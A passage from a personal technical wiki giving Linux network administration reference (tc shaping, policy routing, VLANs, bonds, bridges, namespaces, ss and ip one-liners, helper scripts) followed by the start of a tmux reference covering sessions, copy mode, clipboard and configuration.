eth0 parent 1:1 classid 1:20 htb rate 500mbit ceil 1gbit prio 1 tc class add dev eth0 parent 1:1 classid 1:30 htb rate 200mbit ceil 600mbit prio 2 tc qdisc add dev eth0 parent 1:10 fq_codel # AQM inside each leaf, otherwise a FIFO tc qdisc add dev eth0 parent 1:20 fq_codel tc qdisc add dev eth0 parent 1:30 fq_codel tc filter add dev eth0 parent 1: protocol ip prio 1 u32 match ip dport 22 0xffff flowid 1:10 # SSH to the top class tc filter add dev eth0 parent 1: protocol ip prio 2 u32 match ip dst 198.51.100.0/24 flowid 1:20 # by destination tc filter add dev eth0 parent 1: protocol ip prio 3 handle 0x5 fw flowid 1:20 # by nftables/iptables mark 5 tc -s class show dev eth0 # bytes, packets, dropped, overlimits, borrowed per class tc filter show dev eth0 tc qdisc del dev eth0 root # removes classes and filters with it ``` `rate` is the guaranteed share, `ceil` the maximum when siblings are idle; the sum of children's `rate` should not exceed the parent's. `u32` matches on header offsets and is exact but verbose; the `fw` filter matches a firewall mark, so classification logic can live in nftables with the rest of the policy. `flower` is the modern alternative to `u32` (`tc filter add ... flower ip_proto tcp dst_port 443 action ...`) and is what hardware offload understands. Impair one flow instead of the whole interface by hanging `netem` under a class: ```sh tc qdisc add dev eth0 root handle 1: prio # 3 bands by default, 1:1 1:2 1:3 tc qdisc add dev eth0 parent 1:3 handle 30: netem delay 200ms 20ms loss 1% # only band 3 is impaired tc filter add dev eth0 parent 1: protocol ip prio 1 u32 match ip dport 5432 0xffff flowid 1:3 # PostgreSQL traffic only ``` Ingress shaping redirects incoming packets to an `ifb` device and shapes its egress: ```sh ip link add ifb0 type ifb && ip link set dev ifb0 up tc qdisc add dev eth0 handle ffff: ingress tc filter add dev eth0 parent ffff: protocol all u32 match u32 0 0 action mirred egress redirect dev ifb0 tc qdisc add dev ifb0 root tbf rate 50mbit burst 64kbit latency 400ms # inbound now limited to 50 Mbit/s ``` `cake` (kernel 4.19+) replaces most HTB and fq_codel combinations for a single link: `tc qdisc replace dev eth0 root cake bandwidth 100mbit` shapes, applies AQM and per-host fairness in one qdisc with sensible defaults; `tc -s qdisc show dev eth0` prints its per-tin statistics. ## Two uplinks with policy routing The full recipe for a host with a management interface (`eth0`, 192.0.2.5/24, gateway 192.0.2.1) and a second uplink (`eth1`, 198.51.100.10/24, gateway 198.51.100.1) that must answer on the interface a connection arrived on. ```sh echo '100 uplink2' >> /etc/iproute2/rt_tables.d/local.conf # name the table (optional) ip route add 198.51.100.0/24 dev eth1 src 198.51.100.10 table uplink2 # connected route in the table too ip route add default via 198.51.100.1 dev eth1 table uplink2 ip rule add from 198.51.100.10/32 table uplink2 priority 1000 # replies from that address use eth1 ip rule add iif eth1 table uplink2 priority 1001 # forwarded traffic that arrived on eth1 ip route get 8.8.8.8 from 198.51.100.10 # must show dev eth1 via 198.51.100.1 ip route show table uplink2 ``` Other selectors worth knowing: `to` (destination), `fwmark`/`mark`, `ipproto tcp dport 443` (kernel 4.17+), `uidrange 1000-1000` (route one user's traffic, useful for VPN split by account), `oif` for locally generated traffic bound to a device, and `suppress_prefixlength 0`, which makes a rule skip a table's default route while honouring its specific routes. WireGuard's `wg-quick` uses that last one: it puts a default route in table 51820 and a `not from all fwmark 51820 lookup 51820` rule, so only unmarked traffic enters the tunnel. ```sh ip rule add not fwmark 0xca6c table 51820 priority 5000 # everything except the tunnel's own packets ip rule add table main suppress_prefixlength 0 priority 4999 # but let specific main-table routes win over the tunnel default ip -6 rule # rules are per family; IPv6 needs its own set ``` Rules and per-table routes are not shown by plain `ip route`; `ip route show table all` and `ip rule` together are the whole picture. `ip route get` remains the fastest check because it applies both. ## VLANs, bonds and bridges ```sh # VLAN sub-interface: tagged frames with id 100 on eth0 appear untagged on eth0.100 ip link add link eth0 name eth0.100 type vlan id 100 ip link set dev eth0.100 up && ip addr add 192.0.2.5/24 dev eth0.100 ip -d link show eth0.100 # vlan protocol 802.1Q id 100 ip link add link eth0 name eth0.200 type vlan id 200 protocol 802.1ad # QinQ outer tag # Bond: LACP with fast timers, hash on L3+L4 so one flow stays on one member ip link add bond0 type bond mode 802.3ad miimon 100 lacp_rate fast xmit_hash_policy layer3+4 ip link set dev eth0 down && ip link set dev eth0 master bond0 # a member must be down when it is added ip link set dev eth1 down && ip link set dev eth1 master bond0 ip link set dev bond0 up cat /proc/net/bonding/bond0 # per-member state, LACP partner, link failure count ip -d link show bond0 # mode, active member, hash policy ip link set dev eth1 nomaster # remove a member # Bridge with VLAN filtering: one bridge, many VLANs, like a managed switch ip link add br0 type bridge vlan_filtering 1 stp_state 0 ip link set dev eth0 master br0 && ip link set dev eth0 up ip link set dev vnet0 master br0 && ip link set dev vnet0 up bridge vlan add dev eth0 vid 100 && bridge vlan add dev eth0 vid 200 # trunk port: tagged 100 and 200 bridge vlan add dev vnet0 vid 100 pvid untagged # access port in VLAN 100 bridge vlan del dev vnet0 vid 1 # drop the default VLAN bridge vlan add dev br0 vid 100 self # let the host itself talk on VLAN 100... ip link add link br0 name br0.100 type vlan id 100 # ...through a sub-interface on the bridge bridge vlan show bridge fdb show br br0 vlan 100 bridge -s link show # per-port statistics bridge link set dev vnet0 learning off flood off # for ports with a known, single MAC ip link set dev br0 type bridge ageing_time 30000 forward_delay 1500 # centiseconds # macvlan and ipvlan: give a container or VM its own address on the parent's segment without a bridge ip link add link eth0 name mv0 type macvlan mode bridge ip link add link eth0 name iv0 type ipvlan mode l2 ``` A bond in `802.3ad` mode needs LACP configured on the switch; `active-backup` works against any switch and is the safe default for management links. `balance-rr` splits one flow across members and causes reordering. `miimon` polls link state every N ms; without it a failed member is never detected. Check `Partner Mac Address` and `Aggregator ID` in `/proc/net/bonding/bond0` when a member joins but carries no traffic. Without `vlan_filtering`, a bridge floods every VLAN tag to every port and VLAN separation has to be done with one bridge per VLAN and `eth0.N` sub-interfaces as members. With it, the bridge behaves as a VLAN-aware switch: `pvid` is the VLAN untagged ingress frames join, `untagged` strips the tag on egress. Frames from the host stack enter through the bridge device itself, hence the `self` entry. macvlan and ipvlan interfaces cannot talk to the parent interface's own addresses; that is a kernel design choice, not a misconfiguration. ## Namespaces for testing A network namespace has its own links, addresses, routes, rules, sockets, nftables ruleset and `/proc/sys/net`. Two namespaces joined by a veth pair are enough to reproduce a routing, MTU or firewall problem on a laptop, and `netem` inside one adds latency without touching a real link. ```sh ip netns add client && ip netns add server ip link add c0 type veth peer name s0 ip link set c0 netns client && ip link set s0 netns server ip -n client addr add 10.0.0.1/24 dev c0 && ip -n client link set c0 up && ip -n client link set lo up # -n runs one ip command in a namespace ip -n server addr add 10.0.0.2/24 dev s0 && ip -n server link set s0 up && ip -n server link set lo up ip netns exec server python3 -m http.server 8080 & ip netns exec client curl -s http://10.0.0.2:8080/ | head -3 ip netns exec client tc qdisc add dev c0 root netem delay 150ms 30ms loss 2% # impair only the lab ip netns exec server tcpdump -ni s0 -c 20 tcp port 8080 ip -all netns exec ip -br addr # run a command in every named namespace ip netns pids server # processes inside it ip netns identify "$$" # which namespace this shell is in (empty for the root namespace) ip netns attach ctr "$(podman inspect -f '{{.State.Pid}}' my-app)" # name a container's namespace so ip -n works (iproute2 5.6+) ip netns del client; ip netns del server # veth ends are destroyed with their namespaces ``` `ip netns exec` bind-mounts `/etc/netns/NAME/` over `/etc/` for the command, so a namespace can have its own `resolv.conf`. Forwarding between a namespace and the outside needs `sysctl net.ipv4.ip_forward=1` in the namespace that routes, plus a route or NAT on the host side. systemd services can start inside a named namespace with `NetworkNamespacePath=/run/netns/NAME`, which is a clean way to pin one daemon to a VPN or a second uplink without policy routing. ## JSON output and scripting `-j` returns structured output for `ip`, `bridge` and `tc`, and `-p` pretty-prints it; `ss` has no JSON mode, so parse its columns or use `-H` to drop the header. Field names follow the text output, so `ip -j -d link` exposes `linkinfo.info_kind` and `linkinfo.info_data`. ```sh ip -j addr | jq -r '.[] | .ifname as $i | .addr_info[] | select(.family == "inet") | "\($i) \(.local)/\(.prefixlen)"' ip -j link | jq -r '.[] | select(.operstate != "UP" and .ifname != "lo") | .ifname' # links not up ip -j -d link | jq -r '.[] | select(.linkinfo.info_kind == "vlan") | "\(.ifname) id=\(.linkinfo.info_data.id) on \(.link)"' ip -j route show table all | jq -r 'group_by(.table // "main") | map("\(.[0].table // "main"): \(length) routes") | .[]' ip -j neigh | jq -r '.[] | select(.state | index("FAILED")) | "\(.dst) dev \(.dev)"' tc -j -s qdisc show dev eth0 | jq -r '.[] | "\(.kind) handle \(.handle) drops=\(.drops) backlog=\(.backlog)"' bridge -j vlan show | jq -r '.[] | "\(.ifname): \([.vlans[].vlan] | join(","))"' ip -j route get 198.51.100.7 | jq -e '.[0].dev == "eth1"' >/dev/null || echo 'wrong uplink' ip -ts monitor route # timestamped route changes, for a log during an incident ``` `ip -o` (one line per object) is the pre-JSON scripting form and still useful with `awk`; `ip -br` is for humans. JSON field names are stable across releases in a way column positions are not, so prefer `-j` in anything that runs unattended. ## Oneliners ```sh # Interfaces that are up, with addresses ip -br addr | awk '$2 == "UP"' # Gateway, device and source address for the default path ip -j route get 198.51.100.1 | jq -r '.[0] | "\(.gateway // "on-link") \(.dev) \(.prefsrc)"' # Routes on one device as TSV ip -j route | jq -r '.[] | select(.dev == "eth0") | [.dst, .gateway // "-"] | @tsv' # Error and drop counters for every interface ip -s -j link | jq -r '.[] | [.ifname, .stats64.rx.errors, .stats64.rx.dropped, .stats64.tx.errors, .stats64.tx.dropped] | @tsv' # Top remote addresses by established connection count (IPv4 and IPv6) ss -tn state established | awk 'NR > 1 {sub(/:[^:]*$/, "", $4); print $4}' | sort | uniq -c | sort -rn | head # Which process owns a port ss -ltnp 'sport = :8080' # Sockets with retransmissions right now ss -ti | grep -B1 retrans | head -20 # Watch routing, link and address changes ip monitor route link addr # Path MTU to a destination tracepath -n 198.51.100.7 | tail -3 # tcpdump inside a Docker container's network namespace nsenter -t "$(docker inspect -f '{{.State.Pid}}' my-app)" -n tcpdump -ni any -c 50 # Addresses in every named namespace ip -br addr; for ns in $(ip netns list | awk '{print $1}'); do echo "== $ns"; ip netns exec "$ns" ip -br addr; done # Default gateway reachability at layer 2 (state should be REACHABLE or STALE, never FAILED) ip neigh show "$(ip -j route show default | jq -r '.[0].gateway')" # Interfaces without carrier ip -j link | jq -r '.[] | select(.flags | index("NO-CARRIER")) | .ifname' # MTU of every link, smallest first (tunnels and containers should be below the underlay) ip -j link | jq -r '.[] | "\(.mtu) \(.ifname)"' | sort -n # Every route with its protocol, to spot ones added by hand (proto boot or static) versus a daemon (bgp, dhcp, kernel) ip -j route | jq -r '.[] | [.dst, .dev, .protocol // "-", .gateway // "-"] | @tsv' | column -t # Delete every route a routing daemon left behind after it crashed (destructive: verify the list first) ip route show proto bgp; ip route flush proto bgp # Listening sockets bound to all interfaces rather than a specific address ss -Hltn | awk '$4 ~ /^(0\.0\.0\.0|\*|\[::\]):/ {print $4}' # Connections per local port, busiest first ss -Htan state established | awk '{sub(/.*:/, "", $3); print $3}' | sort | uniq -c | sort -rn | head # UDP sockets with receive drops (Recv-Q growing means the application is not reading fast enough) ss -Hlun | awk '$2 > 0' # Kill every connection from one client address (root; interrupts them mid-flight) ss -K dst 198.51.100.7 # Connections to a service sorted by round-trip time ss -Htin dport = :5432 | awk '/rtt:/ {for (i = 1; i <= NF; i++) if ($i ~ /^rtt:/) print $i}' | sort -t: -k2 -rn | head # Re-resolve a stale or wrong ARP entry for one host sudo ip neigh del 192.0.2.50 dev eth0 && ping -c1 -W1 192.0.2.50 # Temporarily add a second address and remove it in 10 minutes if you get cut off sudo ip addr add 192.0.2.99/24 dev eth0 && (sleep 600 && sudo ip addr del 192.0.2.99/24 dev eth0) & # Route a single test flow through the second uplink without touching the main table sudo ip rule add to 198.51.100.7 table uplink2 priority 900 && ip route get 198.51.100.7 # Is IP forwarding on, per interface sysctl -a 2>/dev/null | grep -E 'net.ipv4.conf.(all|eth0).forwarding' # Which VLANs a trunk port carries on a filtering bridge bridge -j vlan show dev eth0 | jq -r '.[0].vlans[] | "\(.vlan) \(.flags // [] | join(","))"' # Bond members and which one is active awk '/^Slave Interface|^MII Status|^Currently Active/ {print}' /proc/net/bonding/bond0 # Bytes per second on an interface over 5 seconds a=$(cat /sys/class/net/eth0/statistics/rx_bytes); sleep 5; b=$(cat /sys/class/net/eth0/statistics/rx_bytes); echo "$(( (b - a) / 5 )) B/s" # Dropped packets per qdisc across all interfaces tc -s qdisc show | awk '/^qdisc/ {q = $2 " " $5} /dropped/ {print q, $7}' | sort -k3 -rn | head # Watch for link flaps with timestamps during an incident ip -ts monitor link # Namespace of a Kubernetes pod from the node (containerd) nsenter -t "$(crictl inspect -o go-template --template '{{.info.pid}}' "$(crictl ps -q --name my-app)")" -n ip -br addr ``` ## Scripts Build a two-namespace lab joined by a veth pair, optionally with netem impairment, and tear it down on exit. Handy for reproducing MTU, timeout and firewall behaviour without touching real interfaces; needs root. ```sh #!/usr/bin/env bash # usage: netns-lab.sh [--delay 100ms] [--loss 1%] [--mtu 1400] -- command args... # Runs COMMAND in the "client" namespace with a "server" namespace reachable at 10.0.0.2. set -euo pipefail delay='' loss='' mtu=1500 while [[ $# -gt 0 ]]; do case $1 in --delay) delay=$2; shift 2 ;; --loss) loss=$2; shift 2 ;; --mtu) mtu=$2; shift 2 ;; --) shift; break ;; *) echo "unknown option: $1" >&2; exit 2 ;; esac done (( $# )) || { echo 'no command given' >&2; exit 2; } (( EUID == 0 )) || { echo 'run as root' >&2; exit 2; } cleanup() { ip netns del lab-client 2>/dev/null || true; ip netns del lab-server 2>/dev/null || true; } trap cleanup EXIT cleanup # remove leftovers from an interrupted run ip netns add lab-client && ip netns add lab-server ip link add lc0 mtu "$mtu" type veth peer name ls0 mtu "$mtu" ip link set lc0 netns lab-client && ip link set ls0 netns lab-server for ns in lab-client lab-server; do ip -n "$ns" link set lo up; done ip -n lab-client addr add 10.0.0.1/24 dev lc0 && ip -n lab-client link set lc0 up ip -n lab-server addr add 10.0.0.2/24 dev ls0 && ip -n lab-server link set ls0 up if [[ -n $delay || -n $loss ]]; then ip netns exec lab-client tc qdisc add dev lc0 root netem ${delay:+delay "$delay"} ${loss:+loss "$loss"} fi ip netns exec lab-server python3 -m http.server --bind 10.0.0.2 8080 >/dev/null 2>&1 & sleep 0.5 ip netns exec lab-client "$@" ``` Snapshot the network configuration of a host into one directory so it can be diffed against a later snapshot or another host. Read-only; JSON where the tool supports it. ```sh #!/usr/bin/env bash # usage: net-snapshot.sh [outdir] set -euo pipefail out=${1:-net-snapshot-$(hostname -s)-$(date +%Y%m%dT%H%M%S)} mkdir -p "$out" ip -j -d link > "$out/links.json" ip -j addr > "$out/addrs.json" ip -j route show table all > "$out/routes.json" ip -j -6 route show table all > "$out/routes6.json" ip -j rule > "$out/rules.json" ip -j -6 rule > "$out/rules6.json" ip -j neigh > "$out/neigh.json" tc -j -s qdisc show > "$out/qdisc.json" bridge -j link show > "$out/bridge-links.json" 2>/dev/null || true bridge -j vlan show > "$out/bridge-vlans.json" 2>/dev/null || true ss -Hltnup > "$out/listening.txt" sysctl -a 2>/dev/null | grep -E '^net\.(ipv4|ipv6|core)\.' | sort > "$out/sysctl.txt" [[ -d /proc/net/bonding ]] && cat /proc/net/bonding/* > "$out/bonding.txt" 2>/dev/null || true for ns in $(ip netns list 2>/dev/null | awk '{print $1}'); do ip -n "$ns" -j addr > "$out/netns-$ns-addrs.json" ip -n "$ns" -j route > "$out/netns-$ns-routes.json" done # Normalise volatile fields so two snapshots diff cleanly for f in "$out"/*.json; do jq -S 'walk(if type == "object" then del(.stats64, .stats, .valid_life_time, .preferred_life_time, .used) else . end)' "$f" > "$f.tmp" && mv "$f.tmp" "$f"; done printf 'snapshot in %s; compare with: diff -r OLD %s\n' "$out" "$out" ``` Verify that a host's routing does what a change intended, before and after applying it: a list of `destination expected-device [expected-gateway]` lines is checked with `ip route get` and the script exits non-zero on the first mismatch. ```sh #!/usr/bin/env bash # usage: route-check.sh expectations.txt # expectations.txt lines: DEST DEV [GATEWAY] e.g. 8.8.8.8 eth1 198.51.100.1 set -euo pipefail file=${1:?expectations file} rc=0 while read -r dst dev gw _; do [[ -z $dst || $dst == \#* ]] && continue got=$(ip -j route get "$dst" 2>/dev/null | jq -r '.[0] | "\(.dev) \(.gateway // "-")"') || got='unreachable -' read -r gdev ggw <<< "$got" if [[ $gdev != "$dev" || ( -n ${gw:-} && $ggw != "$gw" ) ]]; then printf 'FAIL %-18s want dev=%s gw=%s got dev=%s gw=%s\n' "$dst" "$dev" "${gw:--}" "$gdev" "$ggw"; rc=1 else printf 'ok %-18s dev=%s gw=%s\n' "$dst" "$gdev" "$ggw" fi done < "$file" exit "$rc" ``` ## Troubleshooting | Error | Cause | Fix | | --- | --- | --- | | `RTNETLINK answers: Operation not permitted` | Not root, or missing `CAP_NET_ADMIN` | `sudo` | | `RTNETLINK answers: File exists` | Address or route already present | `ip addr show` / `ip route show`; use `ip route replace` | | `Error: Nexthop has invalid gateway.` | Gateway not on any connected subnet | Add the address first, or add `onlink` if the gateway is reachable anyway | | `Cannot find device "eth0"` | Interface name differs (predictable names such as `enp1s0`) | `ip -br link` | | `RTNETLINK answers: No such process` on delete | Route or rule does not match exactly | Copy the line from `ip route` or `ip rule` including table and metric | | `ss -p` shows no process | Socket owned by another user | Run as root | | `Object "..." is unknown` | Old iproute2 or typo in the object name | `ip help`, `ip -V` | | `ip netns exec` fails with `No such file or directory` | Namespace not in `/run/netns` | Use `nsenter -t PID -n`, or `ip netns attach NAME PID` | | `RTNETLINK answers: Device or resource busy` when enslaving to a bond | Member interface is up or already has a master | `ip link set dev eth1 down nomaster`, then `master bond0` | | Bond member shows `MII Status: down` but `ip link` says UP | `miimon` not set, or the switch port is not in the LACP group | Add `miimon 100`; check `Partner Mac Address` in `/proc/net/bonding/bond0` | | VLAN sub-interface passes no traffic | Parent is down, switch port is not a trunk for that VLAN, or `vlan_filtering` bridge lacks the VID | `ip -br link` for the parent; `bridge vlan show`; check the switch side | | Bridge forwards nothing for 15 s after a port joins | STP `forward_delay` on a new port | Expected; `ip link set br0 type bridge stp_state 0` on a bridge with no loops | | Container on macvlan cannot reach the host | macvlan design: no traffic between a sub-interface and the parent | Add a macvlan interface on the host too, or use a bridge | | `Error: Exclusivity flag on, cannot modify.` from `tc` | A root qdisc already exists | `tc qdisc replace`, or `tc qdisc del dev eth0 root` first | | `tc filter` accepted but class receives nothing | Wrong `parent`, `protocol` or byte offset in `u32` | `tc -s filter show dev eth0` and `tc -s class show dev eth0` to see hit counters; prefer `flower` or `fw` | | Policy rule present but `ip route get` ignores it | Table has no matching route, so lookup falls through; or the rule's `from` address is not the packet's source | Add the connected route to the table; test with `ip route get DST from SRC` | | `ip route get` works but real traffic fails | Reverse path filter or a firewall on the return path | `sysctl net.ipv4.conf.all.rp_filter`; `nft list ruleset`; `tcpdump` on both interfaces | | Route disappears seconds after adding it | NetworkManager or systemd-networkd reasserted its configuration | Configure it in the network manager (`nmcli connection modify ... +ipv4.routes`) | | `netem` impairs the SSH session too | Root qdisc applies to all egress | Use a `prio` qdisc with a filter for the target port, or run the test in a namespace | ## Further reading - [ip(8)](https://man7.org/linux/man-pages/man8/ip.8.html) and the per-object pages [ip-route(8)](https://man7.org/linux/man-pages/man8/ip-route.8.html), [ip-rule(8)](https://man7.org/linux/man-pages/man8/ip-rule.8.html), [ip-link(8)](https://man7.org/linux/man-pages/man8/ip-link.8.html), [ip-netns(8)](https://man7.org/linux/man-pages/man8/ip-netns.8.html). - [ss(8)](https://man7.org/linux/man-pages/man8/ss.8.html): filter syntax and the meaning of every `-i` field. - [tc(8)](https://man7.org/linux/man-pages/man8/tc.8.html), [tc-htb(8)](https://man7.org/linux/man-pages/man8/tc-htb.8.html), [tc-netem(8)](https://man7.org/linux/man-pages/man8/tc-netem.8.html), [tc-cake(8)](https://man7.org/linux/man-pages/man8/tc-cake.8.html), [tc-flower(8)](https://man7.org/linux/man-pages/man8/tc-flower.8.html). - [bridge(8)](https://man7.org/linux/man-pages/man8/bridge.8.html): `bridge vlan`, `bridge fdb` and `bridge link` options. - [Kernel: bonding driver](https://docs.kernel.org/networking/bonding.html): every mode and option, and how to read `/proc/net/bonding`. - [Kernel: IP sysctl](https://docs.kernel.org/networking/ip-sysctl.html): `rp_filter`, `forwarding`, `promote_secondaries` and the rest of `net.ipv4` and `net.ipv6`. --- # tmux > Keep shells alive across SSH drops, split a terminal into panes, copy text without a mouse and script sessions from Bash. Canonical: https://www.wiki.jodisand.me/tmux/ Reviewed: 2026-09-24 Related: [SSH](https://www.wiki.jodisand.me/ssh/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md) ## Cheatsheet Every key below follows the prefix, `C-b` by default. `C-b c` means press Ctrl-b, release, then `c`. | Task | Command or key | | --- | --- | | Start a named session | `tmux new -s work` | | Attach, creating if missing | `tmux new -A -s work` | | List sessions | `tmux ls` | | Attach and kick other clients off | `tmux attach -d -t work` | | Detach | `C-b d` | | New window | `C-b c` | | Next, previous, numbered window | `C-b n`, `C-b p`, `C-b 0`-`9` | | Rename window | `C-b ,` | | Split pane below, right | `C-b "`, `C-b %` | | Move between panes | `C-b` + arrow, or `C-b o` | | Zoom a pane to full size and back | `C-b z` | | Kill the current pane | `C-b x` | | Interactive session and window picker | `C-b s`, `C-b w` | | Enter copy mode, scroll back | `C-b [`, then PgUp or `C-u` | | Paste the last copy | `C-b ]` | | Command prompt | `C-b :` | | Show every binding | `C-b ?` or `tmux list-keys` | | Reload config | `tmux source-file ~/.tmux.conf` | | Run a command in a detached session | `tmux new -d -s job 'make test 2>&1 \| tee test.log'` | | Kill one session, or everything | `tmux kill-session -t work`, `tmux kill-server` | Behaviour below is tmux 3.4 or later. Options and commands that arrived in a specific release are marked. Reference: [tmux(1)](https://man.openbsd.org/tmux.1). ## The server, sessions, windows and panes The first `tmux` command starts a server process bound to a socket in `/tmp/tmux-$UID/default`. The server owns everything: sessions, the windows in them, the panes in each window and the shells running in those panes. The terminal you type in is a client attached to one session. Closing the terminal, losing the SSH connection or pressing `C-b d` drops the client; the server and every process under it keep running. | Object | Holds | Addressed as | | --- | --- | --- | | Server | Sessions | Socket: `-L name` or `-S /path` | | Session | Windows, a working directory, environment | `-t work` | | Window | Panes in a layout; one is current | `-t work:2` or `-t work:editor` | | Pane | One pseudo-terminal running one process | `-t work:2.1` | Most commands take `-t target`. A bare number or name means a session, `session:window` selects a window and `session:window.pane` a pane. Window names match on prefix, so `-t work:ed` finds `editor` if nothing else starts with `ed`. `tmux display -p '#S:#I.#P'` prints the current target from inside a pane. ```sh tmux new -s work -n editor -c ~/projects # session "work", first window "editor", cwd set tmux new -d -s build -x 200 -y 50 # detached; size matters for tools that read the terminal width tmux ls # sessions, window counts, attached or not tmux attach -t work # a second client on the same session mirrors it tmux attach -d -t work # detach the others first: fixes a window sized to a small screen tmux switch-client -t build # move this client to another session without detaching tmux rename-session -t work api tmux kill-session -t build # kills every process in it ``` Panes size to the smallest attached client. When someone attaches from a phone, everyone's window shrinks to that size; `attach -d` or `C-b D` (choose a client to detach) fixes it. Since tmux 3.1 `window-size` defaults to `latest`, which sizes to the most recently active client rather than the smallest, so this bites less than it used to. ## Windows and panes ```sh tmux new-window -n logs 'journalctl -fu my-app' # a window running one command closes when that command exits tmux split-window -h -c '#{pane_current_path}' # right of the current pane, same directory tmux split-window -v -l 10 'htop' # below, ten lines high tmux select-pane -t :.+ # next pane in the current window tmux resize-pane -Z # toggle zoom tmux resize-pane -D 5 # five lines shorter tmux select-layout even-horizontal # also even-vertical, main-horizontal, main-vertical, tiled tmux break-pane # current pane becomes its own window tmux join-pane -s logs -t editor # window "logs" becomes a pane in "editor" tmux swap-pane -U # exchange with the pane above tmux swap-window -s 3 -t 1 tmux respawn-pane -k # kill what is running and restart the pane's command ``` A pane's process is normally the login shell, which is why exiting the shell closes the pane. A pane created with a command instead runs only that command; `remain-on-exit on` keeps a dead pane visible so its last output can be read, and `respawn-pane` restarts it. | Key | Effect | | --- | --- | | `C-b Space` | Cycle through layouts | | `C-b {`, `C-b }` | Move the pane up or down in the layout | | `C-b q` | Show pane numbers; press one to jump there | | `C-b !` | Break the pane into a window | | `C-b &` | Kill the window and every pane in it, after confirmation | | `C-b .` | Move the window to another index | | `C-b f` | Search window names and contents | | `C-b t` | Show a clock; any key clears it | ## Prefix and key tables Keys live in tables. `prefix` holds the bindings that follow `C-b`; `root` holds keys that work without a prefix; `copy-mode` and `copy-mode-vi` hold the copy-mode keys. `bind-key` (alias `bind`) adds to `prefix` unless `-T` names another table, and `-n` is shorthand for `-T root`. `-r` makes a key repeatable within `repeat-time` (500 ms), so `C-b` followed by several arrow presses keeps resizing. ```sh tmux list-keys -T prefix # everything under the prefix tmux list-keys -T copy-mode-vi | grep -i copy tmux bind -r H resize-pane -L 5 # repeatable tmux bind -n M-Left select-pane -L # Alt-Left, no prefix tmux unbind C-b; tmux set -g prefix C-a; tmux bind C-a send-prefix # C-a as prefix, C-a C-a sends a literal C-a ``` `send-prefix` matters because the prefix key itself never reaches the application. With `C-a` as prefix, Emacs and Bash's beginning-of-line need `C-a C-a`. Many people keep `C-b` for that reason, or use `C-Space`. ## Copy mode Copy mode freezes the pane and lets you move around the scrollback (`history-limit` lines, 2000 by default) with the keys of `mode-keys`: `emacs` by default, `vi` if `VISUAL` or `EDITOR` contains `vi`, or whatever the config sets. Text selected in copy mode goes into a tmux paste buffer, and `C-b ]` pastes the most recent one into the current pane as if typed. | Action | vi keys | emacs keys | | --- | --- | --- | | Enter copy mode | `C-b [` | `C-b [` | | Move | `h j k l`, `w b`, `0 $`, `g G` | arrows, `M-f M-b`, `C-a C-e`, `M-< M->` | | Page | `C-u C-d`, `C-b C-f` | `M-v C-v` | | Search | `/` forward, `?` backward, `n N` | `C-s`, `C-r` | | Start selection | `Space` or `v` (after binding, see below) | `C-Space` | | Rectangle toggle | `C-v` (after binding) | `R` | | Copy and leave | `Enter` | `M-w` | | Leave without copying | `q` or `Escape` | `Escape` | Commands in copy mode are sent with `send-keys -X`, which is how bindings are written and how scripts drive it: ```sh set -g mode-keys vi bind -T copy-mode-vi v send-keys -X begin-selection bind -T copy-mode-vi C-v send-keys -X rectangle-toggle bind -T copy-mode-vi y send-keys -X copy-selection-and-cancel bind -T copy-mode-vi Escape send-keys -X cancel bind -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel # mouse selections go to copy-command too ``` ```sh tmux copy-mode -e # -e: leave copy mode when scrolled back to the bottom tmux list-buffers # every buffer, newest first tmux show-buffer # print the newest to stdout tmux save-buffer ~/out.txt # write it to a file tmux load-buffer ~/in.txt # file into a buffer tmux set-buffer "$text" # string into a buffer tmux paste-buffer -t work:1 # paste into a specific pane tmux capture-pane -p -S - # print the whole scrollback of the current pane, no copy mode needed ``` `capture-pane -p -S - -E - -t work:logs > pane.txt` is the reliable way to get a pane's history into a file from a script; `-J` joins wrapped lines. ## Clipboard Copying in tmux fills a tmux buffer, not the system clipboard. Two mechanisms bridge the gap. OSC 52 lets tmux hand the text to the terminal emulator, which sets the clipboard itself. It works through SSH because it travels as an escape sequence inside the session, with no X forwarding needed. It needs three things: `set-clipboard` at `on` or `external` (the default is `external`, which lets tmux set the clipboard but stops programs inside tmux from doing so), the terminal's terminfo entry to carry the `Ms` capability, and the terminal to allow OSC 52. Most modern terminals (foot, kitty, WezTerm, Alacritty, iTerm2, Windows Terminal) do; GNOME Terminal and other VTE-based ones did not until VTE 0.76. Add the capability with `terminal-features` when it is missing: ```sh set -s set-clipboard on # also lets programs inside (Neovim, for example) use OSC 52 set -as terminal-features ',xterm-256color:clipboard' # tmux 3.2+; the name is the outer TERM, not tmux's own ``` `copy-command` (tmux 3.2+) pipes every copy through an external program instead. It is the right choice when the terminal does not support OSC 52 or when copying must reach a specific clipboard: ```sh set -s copy-command 'wl-copy' # Wayland; xclip -selection clipboard for X11; pbcopy on macOS set -s set-clipboard off # avoid double-copying on terminals that also handle OSC 52 ``` `copy-command` runs on the machine where the tmux server lives. On a remote server it copies into the remote's clipboard, which is useless; use OSC 52 there. ## .tmux.conf essentials tmux reads `~/.tmux.conf` then `$XDG_CONFIG_HOME/tmux/tmux.conf` (3.1+) when the server starts. Later changes need `tmux source-file` or a new server. `set-option` (alias `set`) takes `-g` for the global value, `-s` for server options, `-w` for window options and `-a` to append to a string option. A wrong option name reports an error on load; `tmux show-options -g` prints the effective values. ```sh # Terminal: tmux's own TERM, and what the outer terminal can do set -g default-terminal 'tmux-256color' # falls back to screen-256color if terminfo lacks it set -as terminal-features ',xterm-256color:RGB' # 24-bit colour on this outer TERM (3.2+); older: terminal-overrides ',*:Tc' set -s escape-time 10 # ms to wait after Escape; default 500 makes Vim feel broken set -s extended-keys on # pass Ctrl-Shift and similar combinations through (3.2+) set -g focus-events on # Vim and Neovim see FocusGained/FocusLost set -g allow-passthrough on # apps may send escape sequences straight to the outer terminal (3.3+): images, OSC 52 from inside # Behaviour set -g history-limit 50000 set -g mouse on # click panes, drag to resize, wheel to scroll set -g base-index 1 # windows count from 1; 0 is far from the other keys set -gw pane-base-index 1 set -g renumber-windows on # close window 2 of 4 and the rest shift down set -g mode-keys vi set -g status-keys emacs # readline-style editing at the : prompt set -g display-time 2000 # message duration, ms set -g set-titles on set -g set-titles-string '#S:#W #{pane_title}' # Keys unbind C-b set -g prefix C-Space bind C-Space send-prefix bind r source-file ~/.tmux.conf \; display 'reloaded' bind | split-window -h -c '#{pane_current_path}' bind - split-window -v -c '#{pane_current_path}' bind c new-window -c '#{pane_current_path}' bind -r h select-pane -L bind -r j select-pane -D bind -r 